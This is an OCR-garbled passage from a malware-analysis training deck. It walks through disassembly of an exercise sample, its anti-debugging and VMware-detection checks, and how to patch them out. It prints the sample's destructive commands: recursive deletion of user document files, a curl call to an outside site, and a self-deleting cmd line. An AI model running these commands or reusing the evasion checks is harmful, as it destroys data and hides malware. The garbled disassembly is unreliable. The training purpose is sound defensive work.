.text:ead4816BC 3 If it fails to do so, it deduces that a debugger may already have it open exclusiwvely. If the dwShareMode argument of CreatefFile is 8, this is highly likely.
textieedeleCl push offset FileMame ; "%\
.text:084816C6 call ds:CreateFileA
JtextreedeloCC cmp eax, BFFFFFFFFh
text:884816CF jnz loc_481999

By checking for the existence of ¥¥.¥Global¥ProcmonDebuglogger, it
can determine whether a monitoring tool like Procmon is running.
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® |f Process Monitor is not running, it can pass through without altering the jump instruction.

00401689 50 push eax
004016BA 6a 07 push 7
004016BC 68 00000080 push &0000000
004016cC1 68 0C324000 push exercise?2.40320C 40320C: ""\\\\ . \\Global\\ProcmonDebugLogger"
004016C6 FF15 18304000 call dword ptr ds:[<&CreateFileAx]
004016CC 83F8 FF cmp eax,FFFFFFFF
= --0F85 C40.20000 jne exercise/Z.4019499
004016D5 FF15 28304000 call dword ptr ds:[<&IsDebuggerPresents]
004016DB 85¢C0 test eax,eax
--@(004016DD | ~| OF85 BDO20000 jne exercise?.4019A0
004016E3 FFD7 call eds
004016E5 2BCH sub eax,esi

® Next, Debugging detection using IsDebuggerPresent API

Y

® i =
.text:88481605 call ds:IsDebuggerPresent ; Debugger check

Jdextieed4aleDE test eax, eax
Ltext 88481600 jnz loc_4alosm

[ 5
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® Since debugging is active, the return value is also 1.
® JNE (Jump Not Equal) =0, so the jump is taken.

00401689 50 push eax ~ Hi

004016BA 6A 07 push 7
004016BC 68 00000080 push 80000000 EAX 00000001 I
68 0c324000 push exercise2.40320C 40320C: "\\\\.\\Global\\ProcmonDebugLogger"
6CH FF15 18304000 call dword ptr ds:[<&CreateFileAx>] ECX 3CEDASSS
CC 83F8 FF cmp ea.x,FF_FFEFE.E1 - EDX 00000000

_________________ 4 ~ OF85 C4020000

5 FF15 28304000[ call dword ptr ds: [<&15Debugger‘Pr‘esent>:] EBP  Q019FF38

56 ESP  0019FD58

EIP) BD020000  jne  exercise2.4019A0 ESI 01BFC45B
ca i EDI 73E25D02

004016E5
004016E7
004016EA
------------- 004016EC

=

_____ A016

LY EIP  004016DD

EFLAGS 00000202
ZF0O PFO AF O
OF0 SFO DFO
CFO TFO IF1

At 4016DD, press the space key to modify JNE (Jump Not Equal) to JE (Jump Equal).

Alternatively, you can also manipulate the ZF (Zero Flag) to achieve the desired outcome. LeEETEr 07000

LastStatus c0000034

FF15 2C304000 call dword ptr ds:[<&CheckRemoteDebugger (Ei: gggg E: gggg
837c24 10 00 cmp dword ptr ss:|[lesp+100,0

------- .| OF85 76020000 jne exercise2.4019A0 Cs 0023 ss 0028

33¢9 X0r ecx,ecx
OF1F40 00 nop dword ptr ds:[eax],eax sT(0) 000000000000
ggc%0134000 mg; e exarci 2.401370 ST(1) 000000000000
add eax,exercisel.
8038 CC cmp byte ptr ds:[eax],CC §I£§2 999999999999
ge=e=s ~| OF84 60020000 je exercise?.4019A0 <

; 8BC1 mov eax,ecx T Matdeall)

i 00401742 05 00144000 add eax,exerciseZ.401400 1: [esp+4] 005926A0 O
iy 9| < B s 2: [esp+8] 003DA000 <
3: [esp+C] 00690063 O
4: [esps10] 00650073

L=y L 147 FaTalel=Tatatrls]
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004016CC
004016CF
004016D5
004016DB

83F8 FF
OF85 c4020000
FF15 28304000

=

cmp eax,FFFFFFFF
jne exercise?2. 401999

test eax,eax
i ise?.4019A0
call edi

004016€E7
004016EA
004016EC
004016F2
004016F4

83pa 00

85D2

0F87 AE020000
72 0B

3D 94110000
OF87 A1020000
E8 5CFCFFFF
83F8 70

- LS LL:I.J\,M -l
sbb edx,0
test edx,edx

ja exerciseZ.4019a0
jb exerciseZ.4016FF
cmp eax, 1194

ja exerciseZ.4019a0
call exerciseZ.401360

cmp_eax. /0

call dword ptr ds:[<&IsDebuggerPresent:>]

v

® =

.text:80401605 call
Jtext:eed4elsDB test
.text:@8481600 jnz

ds:IsDebuggerPresent
eax, eax
loc_4619A8

; Debugger check

1

L 4
-
text:084B816E3 call edi
0 " n
Ltext:8846816E7 sbb edx, @
Jtext:B884816EA test edx, edx
Jtext:ee4el6EC ja loc_4e1948

|1

B =

Ltext:@e4@16F4 cmp
Ltext:@e4816rF9 ja

eax, 1194h
loc_481942

It went undetected by
AntiDebugSeeker.

Why was it not
detected?
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4016E3 call edi

55 push ebp
/3E25D03 8BEC mov ebp,esp
73625005 | 51 push ecx ® 73E25D07 | mov ebx,dword ptr ds:[7FFE0004]
v E,__'_}Dit__,c\ Pu.‘_‘):l =i . . .
73E25007 | 8B1D O400FE7F | Imov ebx,dword ptr ds: [7FFE0004] 7FFEOQ004 : It refers to the TickCountLow field in KUSER_SHARED_DATA.
73E25D0D B8 2403FE7F movﬁeax,fFFEO324 —_ —
/3E25D12 56 push es7
/3E25D13 57 push edi
73E25D14 BF 2003FE7F mov edi,7FFE0320
73E25D19 895D FC mov dword ptr ss:|[ebp-401,ebx
/3E25D1C 8800 mov eax,dword ptr ds:[eax] . | . h
73E25D1E B9 2803FE7F mov ecx,7FFE0328 i i i 1
SRR GE 2 MOV S, L0328 i ledi] A loop containing the pause instruction can detect debugging
/3E25D25 8609 mov ecx,dword ptr ds:[ecx : : H : H
I mov e dnord P tecxd environments by taking advantage of subtle timing differences.
73E25D29 | - 74 24 je kernel32.73E25D4F
73E25D2B BA 2403FETF mov edx,7FFEQ324
73E25D30 BE 2003FE7F mov esi,7FFE0320
73E25D35 BB 2803FE7F mov ebx,7FFE0328
73E25D3A 8098 00000000 :n:::::]dword ptr ds:[ebx]
73625040 | F3:90 Lpause
/3E25D42 8802 Jdword ptr ds:[edx]
/3E25D44 8B3E mov edi,dword ptr ds:[esi]
73E25D46 860B mov ecx,dword ptr ds:[ebx]
/3E25D48 3BC1 cmp eax,ecx
73E25D4A | ~ 75 F4 jne kernel32.73E25D40
/3E25D4C 8B5D FC mov ebx,dword ptr ss:|[ebp-4]
73E25D4F F7E3 mul ebx
/3E25D51 8BC8 mov ecx,eax
/3E25D53 B8BF2 mov esi,edx
73E25D55 8BCY mov eax,ed]
/3E25D57 F7/E3 mul ebx
/3E25D59 OFadCE 08 shld esi,ecx,8
/3E25D5D OFacD0 18 shrd eax,edx,18
73E25D61 Clel 08 shl ecx,8
73E25D64 ClEa 18 shr edx,18
/3E25D67 03C1 add eax,ecx
73E25D69 5F pop edi
/3E25D6A 13p6 adc edx,esi
/3E25D6C 5E pop esi
/3E25D6D 5B pop ebx
73E25D6E 8BES mov esp,ebp
/3E25D70 5D pop ebp
73E25D71 c3 ret
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83F8 FF cmp eax,FFFFFFFF "
—————————————————— ~ OF85 c4020000 jne exercise?.401999
FF15 28304000 |call dword ptr ds:[<&IsDebuggerPresent:] EAX 00505501
85c0 test eax,eax EBX 73E2A310
---------------- ~ 0OF85 BD020000 jne exercise2.4019A0 ECX 00000000
FFD7 €all edi 00000000
2BCH sub eax,esi

ja is a conditional branching

83pA 00 sbb edx,0
85D2 test edx,edx
------------ 401 ~ QESE AE020000 jg exerciseg.ig}gAU = = Q t)l I
e - S Instruction in assembly language,

<

rOF87 A1020000 ja exercise2.4019a0

= - 1 - 1"
b prcrrr [N meaning "Jump if Above.
----------- -|OF84 93020000 |j 22401940 B
8p4424 10

SF 0 DF
TF 0 IF

gg%gﬁ?g“gg” - .0 LastError 000C The Condition iS CF = O and ZF =

_________ 7 g;gg 76020000 j Laststatus €00(
325240 00 S B3: O (nocarryand non-zero), so you
s can avoid the jump by changing
1: [esp+4] 005926 .
: either of these flags.
5

: [esp+14] 00200

50
FF15 08304000
50

<

While debugging, the count exceeds
1194h, causing a jump to 4019A0.

pr =n— .
Ltext:@e4816F4 cmp eax, 1194h
Ltext:@84816F9 ja loc_ael9M8

vy

@sE

Ltext:eed4816FF

.text:804016FF loc_4816FF:
.text:804016FF call sub_4@136@
Jtext:ee481784 cmp eax, 7&h ; 'p’
text:ee4e1767 jz loc_4@1948

1

e4 7l

© 2025 LAC Co., Ltd. 89



Exercise 2 Answer For IDA

® Checking the value of NtGlobalFlag is a method used to determine the presence of debugging.

® i =
.text :004016FF

fext:884816FF loc 4816FF;
.text:ee4016FH call sub 481368 |

Ltext:eadelied cmp eax, 7/8h ; 'p’
Ltextieedelver jz loc_ 481948

Y
[z B

text: 004013608
text: 88481368
text: 88481368

Ltext:eg4el3cq sub 481368 proc near

Ltext: 08481368 mov eax, large fs:18h : NtGlobalFlag_check_ 3 - The code is checking the NtGlobalFlag wvalue at offset 8x68 from the Process Environment Block.
text: 00481368 ; If The value 7@(the sum of FLG_HEAP ENABLE TAIL CHECK (@x1@), FLG_HEAP ENABLE FREE_CHECK (@x2@), and FLG_HEAP VALIDATE_P,
.text: 00481360 ; If The value 7@(the sum of FLG HEAP ENABLE TAIL CHECK (@x1@), FLG_HEAP ENABLE FREE CHECK (@x2@), and FLG_HEAP VALIDATE P,
text:88481366 mov eax, [eax+38h]

.text: 08401369 mov eax, [eax+63h]

Lextieadel3ieC retn

g 64:A1 18000000 [mov eax,dword ptr J:T15]

840 30 mov eax,dword ptr ds:[eax+30]

B C 9 3640 68 mov eax,dword ptr ds:[eax+068]
00401 36C C3 ret
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® The value 70, indicating debugging, is stored in EAX as the return value,
and a cmp instruction is used to check whether it is 70.

_______________

004016F4
004016F9
004016FF

704

00401

0040171
00401724

4

4

<

3D 94110000
0F87 A1020000
E8 5CFCFFFF
83F8 70

~OF84 93020000
8p4424 10

50

FF15 08304000
50

FF15 2C304000
837C24 10 00
OF85 76020000

cmp eax,1194
ja exercise?.4019A0
call exerciseZ. 401360

cmp eax, /0
]e exerc15e2 4019AU

e L= e thwroTrd Ll o= - [esp lD]
pusg eax
lword ptr ds:[<&GetCurrentProcess:]

d ptr ds: [{&CheckRemoteDebuggerPregent>]
-tr ss:flesp+100,0

70:"

(EAX__00000070)

EBX  73E2A310
ECX 00000000
EDX 00000000
EBP  0019FF38
ESP  0019FD58
EST 01BFC45B
EDI  73E25D02

o]
o
o
o
o
o
|
|
1
i 004017 2A
;:i 004017 2¢C EIP 00401707
L1 00401730
Pl 00401732 1 1 EFLAGS 00000246
1 B Change the branch by modifying the EfLjes _ 900002
P 0040173 | ~ . OF0 SFO DFO
H 00401740 flag or applying a patch. CFO TFO IF 1
i'i Oﬂiﬂ;fi*
N —— 0040174A | - LastError 000000(
1 00401750 LastStatus C0000073
o 00401751 83F9 05 cmp ecx, 5
Pl 00401754 | ~|7C DA jl1 exercise?.401730
i 00401756 B8 70134000 mov eax,exercise2.401370 Eg gggg Eg gggg
ili 00401758 8A00 mov al,byte ptr ds:[eax]
o 0040175D 3C E9 cmp al,EQ Cs 0023 ss 0028
! ) NNANT 75 NeRA e 0200000 S0 avarrcrdcad ANTAAN
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® The program uses CheckRemoteDebuggerPresent to check whether it is running in a debugging environment.
® |t can be modified by replacing the jne instruction with nop or je, or by applying a patch.

_ L

B3 -

text: 08401700 lea eax, [esp+1E@h+pbDebuggerPresent]

Ltext: 88481711 push eax ; pbDebuggerPresent

Ltext: 08461712 call ds:GetCurrentProcess

L LEXL: 0840/ 18 push ean : NPrOCESS

Ltext: 08481719 call ds:CheckRemoteDebuggerPresent ; Debugger check
textfRam F1F _cmo [esntlFAh+nhlehyoserPresent] B

Ltext: 084681724 jnz loc_4elosp

004016F4 3D 94110000 cmp eax,1194 Hide FPU
—————————————————— 004016F9 | ~ OF87 A1020000 ja exercise2.4019A0
004016FF E8 S5CFCFFFF call exercise2.401360 ~ EAX 00000001
00401704 83F8 70 cmp eax, /0 70:" EBX  73E2A310 <kernel32.sleep>
————————————————— 00401707 ~ OF84 93020000 je exercise2.4019A0 ECX 76750000
0040170D 8p4424 10 lea eax,dword ptr ss:[lesp+10] EDX 0009E678
00401711 50 push eax
i 00401712 FF15 08304000 call dword ptr ds:[<&GetCurrentProcess:>] EBP 0019FF38
i ovRUTT 10 30 PUSH cax ESP 0019FD58
: 00401719 FF15 2C304000 |eall dword ptr ds:[<&CheckRemoteDebuggerPresent:>] ESI 01BFC458B
; pl0040171F |  837c24 10 00  |cmp dword ptr ss:[lesp+10],0 EDI  73E25D02 kernel32.73E25D02
.14 v—ggsg 76020000 jne exercise?.4019A0
j 004017 2A C XOr ecx,ecx .
T OFTETTT0 ———— EIP 00401724 exercise2.00401724
00401730 8BCL mov eax,ecx
00401732 05 70134000 add eax,exercise2.401370 EFLAGS 00000202
00401737 8038 ccC cmp byte ptr ds:[eax],CC ZFEO PFO AF O
————————————— 0040173A | ~| OF84 60020000 je exercise2.4019A0 OF0 SFO DFO
i 00401740 8BC1 mov eax,ecx
i QAN 742 05 00144000 add eax exercice? A0IAQ0 CFO TFO IF1
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® When debugging with F8, there is a function being called at address 401784, 401791.
® What does this function do?

]
L J
@i =
Ltext: 88481770 cmp al, BEBh
Ltext:8848177E jz loc_4819A8
L1
¥
B oz
Ltext:en481734 call sub_4913?8]
L LEXT . 25 al, a
Ltext:884817388 jnz loc_4819A8
-
¥
Roz
Ltext:88481791 call 5uh_491498-]
text:08401798 jnz  loe_4019A0
™
@ &=
_____ 10177 A aye - DA
01784 E8 E/FBFFFF call exercise?2.401370
UL G0 oaqCy Test dl,al
_____ 004017 8e 0 ] i
00401791 E8 OAFCFFFF call exerci5e2.4D14DD|
Uu4uUL/ 90 a4cuy test al,al
————— 00401798 «~ OF&5 02020000 jne exercise?. 4019A0
004017 9E 33C9 XOr ecx,ecx
004017 A0 BO 9a mov al,9aA
004017 A2 FoDO not al
004017 a4 88840C E8000000 mov byte ptr ss:lesprecx+ES],al
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® mov eax, 0x564D5868: This instruction moves the hexadecimal value 0x564D5868 into the eax register. This value
is known as the "VMware magic value" and is used for communication with the VMware hypervisor.

® in eax, dx: This instruction reads from the I/O port specified in edx (the VMware port) into eax. The result of this
operation can help determine whether the environment is a VMware VM.

® |[f the in instruction successfully reads from the VMware 1/0 port and the value matches the expected VMware
magic value, the program can conclude that it is running within a VMware environment.

® 5 &
Ltext:08401347 ;3 try { // __except at loc_4813DB
Ltext:084813A7 mov [ebp+ms_exc.registration.Trylevel], @

Ltext:804813AE push edx
.text:084013AF push acx
.text:80481388 push ebx

.text:00401381 mov eax, 564D5868h ; VMware_magic_value - detect a VM enviromment based on the Wware magic value.
.text:08401386 mov ebx, @

.text:8648138B mov ecx, BAh

Ltext:004813C8 mov edx, 5658h ; VMware_I/0 port - detect a VM environment based on the WMware I/0 port
.text:004013C5 in eax, dx

Ltext:004813C6 cmp ebx, 564D5868h ; VMware_magic_value - detect a VM environment based on the Wware magic value.
.text:884813CC setz [ebp+var 19]

.text:08401308 pop ebx

Ltext:084681301 pop acx

.text:00401302 pop edx

Ltext:08481303 jmp short loc_4813DE

5 .
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For the jump statements at addresses 40178B and 401798,

there are approaches to circumvent them:

Apply a patch (e.g., use nop).
. Modify the flags.

00401774 3C EY cmp al,E9

o eae 00401776 | ~ OF84 24020000 je exercise2.4019A0

; 0040177C 3C EB cmp al,EB EAX 00000001

P 00401776 |« OF84 1020000  |ie exercise? 4019A0 EBX 73E2A310

ii OO%O;:SL E8 E7FBFFFF call exercisel.40137 ECX 9FAED47C

] i 00401789 34cC0 test al,al EDX 0009E678
—r————+1o[EIOFEEY - -0F85 OF020000 jne exercise2.4019A0

;;u 00401791 E8 BAFCFFEF call exercise2.401400 EBP  Q019FF38

" 00401796 84c0 test al,al ESP  0019FD58

P 00401798 | ~|0F85 02020000 jne exercise2.4019A0 ESI 01BFC45B

EEI | oL Y S RO CLR CLR EDI 73E25D02

(I T N

bl 401742 not a

il 0040174 | |88840C E8000000 |mov byte ptr ss:[lesprecx+ES],al EIP 00401788

bl 004017 AB 41 inc ecx

| i I ; 004017 AC 8A81 EQ3A4000 mov al,byte ptr ds:[ecx+403AE0] EFLAGS 00000202

EEI i tgtg%%;:BE ?;ICO test al,al — ZF 0O PFO AF O

[ 00401784 - EC jne exercisel. A

EEIE 004017B6 83F9 3E cmp ecx, 3E 3E: "= EE g -?-E g ?E 2

IREE—— 00401789 | ~|OF83 D5010000 jae exercise?.401994

b I P 004017BF 863D DO304000 mov edi,dword ptr ds:[<&systems>]

NN 004017C5 88840C E8000000 [mov byte ptr ss:[lesp:ecx+E8],al LastError 00000002

. I . 004017cCcC 8D8424 ES000000 [lea eax,dword ptr ss:[[esp+ES] [esp+E8] : "C:\\Users\\Winl0\ Laststatus c0000034

R 0NAN1 703 500 nush eaw
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Check. How many anti-analysis features must be circumvented?
Answer : There are nine anti-analysis features implemented.

v’ Sleep time check

v’ Enumerate Running Process

v’ Check Analysis tool by EnumWindow
v’ Check running Process Monitor

v’ IsDebuggerPresent API

v Timing Check KUSER_SHARED_DATA
v’ Check NtGlobalFlag

v CheckRemoteDebuggerPresent API
v' VM Check
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® Delete a document file using the system command.

e 00401903 ~ UF83 8BU0U00[ jae exercisel.401994
s >@ 00401909 84424 58 lea eax,dword ptr ss:|[lesp+58[
! 0040190D Cc6440C 58 00/ mov byte ptr ss:esprecx+58],0
EIP : 00401912 50 push eax eax:"del /s /0 *.doc c:“\users‘\M\dusername®i\y > nul"
i 00401913 68 2C324000 |push exercisel.40322C 40322C: "%s\n"
i 00401918 ES F3F6FFFF |call exercise2.401010
| 0040191D 84424 60 lea eax,dword ptr ss:|[lesp+60[]
| 00401921 50 ush eax eax:"del /s /0 *.doc c:“\\users‘\\‘username®\\ > nul"
| 00401922 FFD7 cca." ed l
! 00401924 #a3C4 0C :
| 00401927 85C0 test eax,eax eax:"del /s /0 *.doc c:“\users‘\M\dusername®\ > nul"
| 00401929 74 01 je exercise?.40192C
b 00401928 43 inc ebx
-2 @0040192C 83C6 2D add esi,Z2D
: 0040192F 81FE 393A400/cmp esi,exercisel.403A39
| 00401935 ~ 7C A9 il exercise? 4018F0
0 £ >
Y Y

B

gext:aedalogs

Ltext: 804819689 loc 481989:

text: 88481989 lea eax, [esp+lEBh+Arglist]
Ltext: 88481980 mov [esptecx+lEBh+ArgList], @

Ltext: 808481912 push eEx ; Arglist
Jtewt:@8481913 push offset Format ; "&s'n"
text: 80481918 call sub 481016

text: 88401910 lea eax, [esp+lEBh+Arglist]
Ltewt: 88481921 _nush S ; Command
.text:aﬁ481922[call edi ; system
extiaedal924 add esp, BCh

gdext: 88481927 test eax, eax

text: 88481929 jz short loc 48192C

1 L
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——————— 0040197E ~ 7E 20 Jjle exerciseZ 4019A0
0040198 808424 28010|Tea eax,dword ptr ss:[esp+128]
g 0 50 push eax eax:"curl -s -e https://www.xvideos.com -A \"Mozi
FFD7 call edi
46 inc esi
00401988 83c4 04 add esp,4
0040198 3BF3 cmp esi,ebx
00401990 | -~ 7C EE j1 exercise2.401980
00401992 ~ EB 0C jmp exercise?2.4019A0
00401994 E8 6C010000 call exercise2.401B05
00401999 50 push eax eax:"curl -s -e https://www.xvideos.com -A \"Mozi
0040199A FF15 2030400/call dword ptr ds:[<&CloseHandle:]
E 004019a0 E8 FBFAFFFF |call exercise2.4014A0

004019A5 CcC int3

004019a6 55 push ebp

004019A7 8BEC mov ebp,esp

0040199 56 push esi

004019aA 8875 08 mov esi,dword ptr ss:|Jebp+8&]
004019AD FF36 push dword ptr ds:[esi]
004019AF ES D60CO000 call exercise2.40268A
00401984 FF75 14 push dword ptr ss:[ebp+14]
00401967 8906 mov dword ptr ds:[esi],eax eax:"curl -s -e https://www.xvideos.com -A \"Mozi
00401989 FF75 10 push dword ptr ss:[[ebp+10] [ebp+10] :&"ALLUSERSPROFILE=C:\\ProgrambData”
004019BC FF75 0OC push dword ptr ss:[ebp+C[] [ebp+C]:&"C:\\Users\\Winl0\\Desktop\\ExerciseZ.ex
0040198BF 56 push esi

004019c0 68 D5194000 |push exercise?2.4019D5
004019cS 68 04504000 Inush exercise? 405004 h

~

ax=0019FE80 "cuﬁa -5 -e https://www.xvideos.com -A \"Mozilla / 5.0 (Windows NT 10.0; winb64; x64; rv:66.0) Gecko / 20100101 Fir

Vv

® 5 =

JLewtreedalase
.text:88481980 loc 4P1938:
Ltext:88481980 lea eax, [esp+lE@h+var BE]

TextiO0O1087 push  eax | ;- Command Executing curl using the system command.

Ltext:8e481985 call edi ; system

XTI OBABIOBR Inc Es1
Ltext:8e4B198E add esp, 4
Ltext:Be4B198E cmp esi, ebx
Jtextieede199e 1 short loc_481988

— |
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® Delete itself.

UU4uUIS>0b1 DA UU push U

00401563 8D85 70FCFFF|lea eax,dword ptr ss:[ebp-390]
00401569 50 push eax eax:"cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 = »
0040156A 6A 00 push 0

FF15 2430400/ call dword ptr ds:[<&CreateProcessA>]
00401572 FFB3> 14FCFFF|push dword ptr ss:[[ebp-3EC]

00401578 8835 2030400/ mov esi,dword ptr ds:[<&CloseHandle:x]

0040157E FFDO call esi

00401580 FFB> 10FCFFF|push dword ptr ss:[[[ebp-3F0]

00401586 FFDO call esi

00401588 6a 00 push 0

0040158A FF15 a430400{call dword ptr ds:[<&exit>]

00401590 E8 70050000 |(call exercise2.401B05

00401595 CC int3

00401596 CC int3

00401597 CC int3

00401598 cC int3 N
£ >

eax=0019F980 "cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 = Nul & Del /f /q \"C:\\Users\\WinlO\\Desktop\\Exercise2.exe\""

Ltext:e8481543 add esp, leh
Ltext:ed81546 lea eax, [ebp-3F@h]
.text:e848154C push eax ; lpProcessInformatien
Ltext:ee481540 lea eax, [ebp-3D8h]
Ltext: 88481553 push 2ax 3 lpStartupInfo
.'. Ltext: 88481554 push @ 3 lpCurrentDirectory
— .text: 88481556 push 8 3 1pEnvironment
m ) .text:@8481558 push  seeseech ; dwCreationFlags
Ltext: 88481550 push (5] ; bInheritHandles
LTtext @Edaless .text:@848155F push 8 ; lpThreadAttributes
Jtext:;@eed481561 push (5] ; lpProcessAttributes
Lext 00401040 Joc 481040 text:00401563 1en eax, [ebp-390h] °
Ltext: 06481948 call sub 481458 Ltext:88481569 push eax 3 lpCommandLine
e e = bl 1 ONNaME
! Al —ha Ll ErIL-I[_I l.text:ﬁMBlSﬁC call ds:CreateProcessA
JLextreadaloss TR G e T
Ltext: 88481578 mov esi, ds:CloseHandle ; Check Invalid Close-:Exception
text:e848157E call esi ; CloseHandle ; Check Invalid Close->Exception
.text:@8481588 push dword ptr [ebp-3Feh] ; hobject
text: 884081586 call esi ; CloseHandle ; Check Invalid Close-:Exception
.text:@8481588 push 8 ; Code
Ltext: 8481584 call ds:__imp_exit
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The main functions of this malware are as follows:

® Generating network communications by executing the curl command

Deletion of document files

Deleting itself

"del /S /Q *.doc c:¥¥users¥¥%username%¥¥ > nul“
"del /S /Q *.docm c:¥¥users¥¥%username%¥¥ > nul"
"del /S /Q *.docx c:¥¥users¥¥%username%¥¥ > nul"
"del /S /Q *.dot c:¥¥users¥¥%username%¥¥ > nul"
"del /S /Q *.dotm c:¥¥users¥¥%username%¥¥ > nul"
"del /S /Q *.dotx c:¥¥users¥¥%username%¥¥ > nul"
"del /S /Q *.pdf c:¥¥users¥¥%username%¥¥ > nul"
"del /S /Q *.csv c:¥¥users¥¥%username%¥¥ > nul"
"del /S /Q *.xIs c:¥¥users¥¥%username%¥¥ > nul"
"del /S /Q *.xIsx c:¥¥users¥¥%username%¥¥ > nul”

"del /S /Q *.xIsm c:¥¥users¥¥%username%¥¥ > nul"
"del /S /Q *.ppt c:¥¥users¥¥%username%¥¥ > nul"
"del /S /Q *.pptx c:¥¥users¥¥%username%¥¥ > nul"
"del /S /Q *.pptm c:¥¥users¥¥%username%¥¥ > nul"
"del /S /Q *.jtdc c:¥¥users¥¥%username%¥¥ > nul"
"del /S /Q *.jttc c:¥¥users¥¥%username%¥¥ > nul"
"del /S /Q *.jtd c:¥¥users¥¥%username%¥¥ > nul"
"del /S /Q *.jtt c:¥¥users¥¥%username%¥¥ > nul"
"del /S /Q *.txt c:¥¥users¥¥%username%¥¥ > nul"
"del /S /Q *.exe c:¥¥users¥¥%username%¥¥ > nul"
"del /S /Q *.log c:¥¥users¥¥%username%¥¥ > nul"

"curl -s -e https://www[.]xvideos[.]Jcom -A ¥"Mozilla / 5.0 (Windows NT 10.0;

"cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q

Win64; x64; rv:66.0) Gecko / 20100101 Firefox / 66.0¥" : _
¥"C:¥¥Users¥¥Win10¥¥Desktop¥¥Exercise2.exe¥""

https://www[.]xvideos[.]Jcom/video64080443/ > nul"
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Level3.
Analysis of a program with multiple anti-debugging
features



Exercise 3

Target Malware : Exercise3.exe

Question

Use dynamic and static analysis to apply patches and make the malware
function properly.

Point 1: First, execute it and observe its behavior, especially the processes.

Point 2: Use the IDA/Ghidra plugin AntiDebugSeeker to identify
anti-analysis features.

Refer to the results from Point 1 and proceed with static analysis and
dynamic analysis, including debugging.
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When you try executing it -

A subprocess emerges with the parameter /C attached. This needs to be
analyzed to understand what it signifies during the analysis process.

1820K

U sakura.exr- : 244014 <— 45

@0 neDrive Command Line: _ - - 54

¥ Whiks S50 o S T i £
C¥Users¥ ;5:}_-;-::5;_‘___; SRR A b e i i 1.exe /U el

Seclipse.ex

Ly java.exe Paéh!l sors Vo
21 javaw.exX SerSHET R S IR EE OXE 74

B Microsoft Share <001 1 4 004 K 28324 K 748
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® Use AntiDebugSeeker to confirm the anti-analysis features.

File Edit Jump Search View Debugger Lumina Options Windows Help

Function name

7l sub_401071

7l sub_40141B

-

.-'::ED g - 4 @O & ' A® BELG®E -0 Mo debuzest ~ || el |t EREE
4
[
Library function [l Regular function Inztruction Data Unexplored External symbal Lumina function
[F] Functions 0 & x = ma v [=] Detected Functionr= B8 [@] Hex Wi [@] Local T =_ Tmees T Exgad ﬂ Anti Debug Detection Results

|Sean:h..

Category Name

B Time Check

WaitForSingleObject

Memory Manipulation

Puthon |

| Line 1 of 59

AU: idle Down

Disk: 51GB

Possible Anti-Debug API

T su b_401 OBS Double—click on & function name starting with ‘sub’ to investigate it recursively call. - Time CheGk WaitForSingleObject

7 sub_4010F6 sub_401147 Check Invalid Close—>Exception CloseHandle

71sub 401147 Time Check Sleep

flsub_4011C7 Sleep CommandLine check GetCommandLineW

7 sub 40123A (1detected) Time Check Sleep

7 sub 401272 . Memory Manipulation VirtualAlloc
sub_4012F7

VirtualAlloc

7 sub 40148B CloseHandle
7 sub 401582 | | (edetected)
71sub_40161F
T sub_40171A sub_40161F
71sub_4017D4
7 sub 401807 Sleep Analysis Environment Check SetupDiGetDeviceRegistryPr-+-
7 sub_4018CD | |(idetected) Analysis Environment Check  SetupDiGetClassDevsA
Tlsub 401927 Analysis Environment Check SetupDiEnumDevicelnfo
3 1 > start Check Invalid Close—>Exception CloseHandle
] Check Invalid Close—>Exception CloseHandle
e — GetCommandLineW Check Invalid Close—>Exception CloseHandle
Sleep Thread Execute ResumeThread
(2detected) Check Invalid Close->Exception CloseHandle
Check Invalid Close—>Exception CloseHandle
sub_402765 | |Check Invalid Close->Exception CloseHandle
Check Invalid Close—>Exception CloseHandle
& Output 0 & X |[Thread Manipulation GetThreadContext
ISt Bl g e * Analysis Environment Check  GetComputerNamelW
Nothing Found for pattern Anti-Sandbox_SandBoxie. Time Check Sleep
Nothing Found for pattern Anti-Sandbox Buster Sandbox Analyzer. Mutual Exclusion CreateMutexA
AntiDebugSeeker terminated.
Edit anti_debug.config : Switch Other tab and Press Ctrl+Shift+E. vl

Address

0x4011B2
0x401347
0x401355
0x401674
0x401A39
0x401C45
0x402875
0x4028A4

0x403555

0x40367F
0x4036BA
0x403A6A
0x403BD1
0x403DOE
0x40477A
0x40479D
0x4047BE
0x4047C4
0x4047CA
0x404883

0x404A71

0x404E7B
0x404E86

0 &8 x

Possible.

Creaf¥
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® |et's take a look at one of the detections made by AntiDebugSeeker,
® Rule Name : VMware I/0 port.

Check the comments in the rules to
understand what kind of anti-analysis
features have been detected.

.text:0040342D jz short loc_403431

® & E
Bl |.text:00403431

.text:00403431 loc_403431:

.text:00403431 ; _try { // __except at loc_40345E

.text:00403431 and [ebp+ms_exc.registration.TrylLevel], @ . —

_text:00403435 push eax Enwronment_T|mmgCheck_CPUID 0x403319
-text:00403436 push  ebx Environment_TimingCheck_CPUID 0x4033ac
.text:00403437 push ecx VMware_I/O_port 0x403439
.text:00403438 push edx .

.text:00403439 mov dx, 5658h 3 VMware I/0 port - detect a VM environment based on th VMware_mag!c_value 0x40343d
.text:0040343D mov ecx, 564D5868h ; VMware magic value - detect a VM environment based on VMware_magic_value 0x403472
_text:09403442 mov eax, ecx VMware_[/O_port 0x4034d2
-text:00403444 mov ecx, ©Ah VMware_magic_value 0x4034d6
.text:00403449 in eax, dx

.text:0040344A mov [ebp+var 1C], ebx

.text:0040344D mov [ebp+var 28], ecx

.text:00403450 pop edx

.text:08403451 pop ecx

.text:00403452 pop ebx

.text:08403453 pop eax

.text:00403453 ; } /) starts at 4083431

.text:00403454 or [ebp+ms_exc.registration.TrylLevel], @FFFFFFFFh

.text:00403458 jmp short loc_ 483472
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O Here's a summary of what we've learned so far:
When executed, it operates by initiating a subprocess with the /C parameter.

According to the results from AntiDebugSeeker, there appear to be several
anti-analysis features.

Possible Anti-Debug Technigue Address

E 0x403319
Environment_TimingCheck CPUID 0x4033ac
VMware /0 port 0x403439

VMware _magic_value 0x40343d
VMware magic_value 0x403472
VMware 1/0 port 0x4034d2
VMware_magic_value 0x4034d6
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What kind of APl is ® Check the behavior of the /C
I ? . . .
CommandLineArgvW: parameter with static analysis.
text ® \What happens when /C is specified?
text:
text: [ebptpNumArgs], edi
.text: 90401439 call ds:GetCommandLinell ; CommandLine checki
.text:804081A3F lea ecx, [ebp+pNumirgs]
text: 00481442 push ecx 5 pNumbrgs
.text:00481843 push eax » 1lpCmdLine ¥
.text: 00401844 call ds: CommandlL ineToArgvii @y
.text:88401AEF sub eax, 'C'
.text:00401AF2 jz short loc_491B20
__ A J —
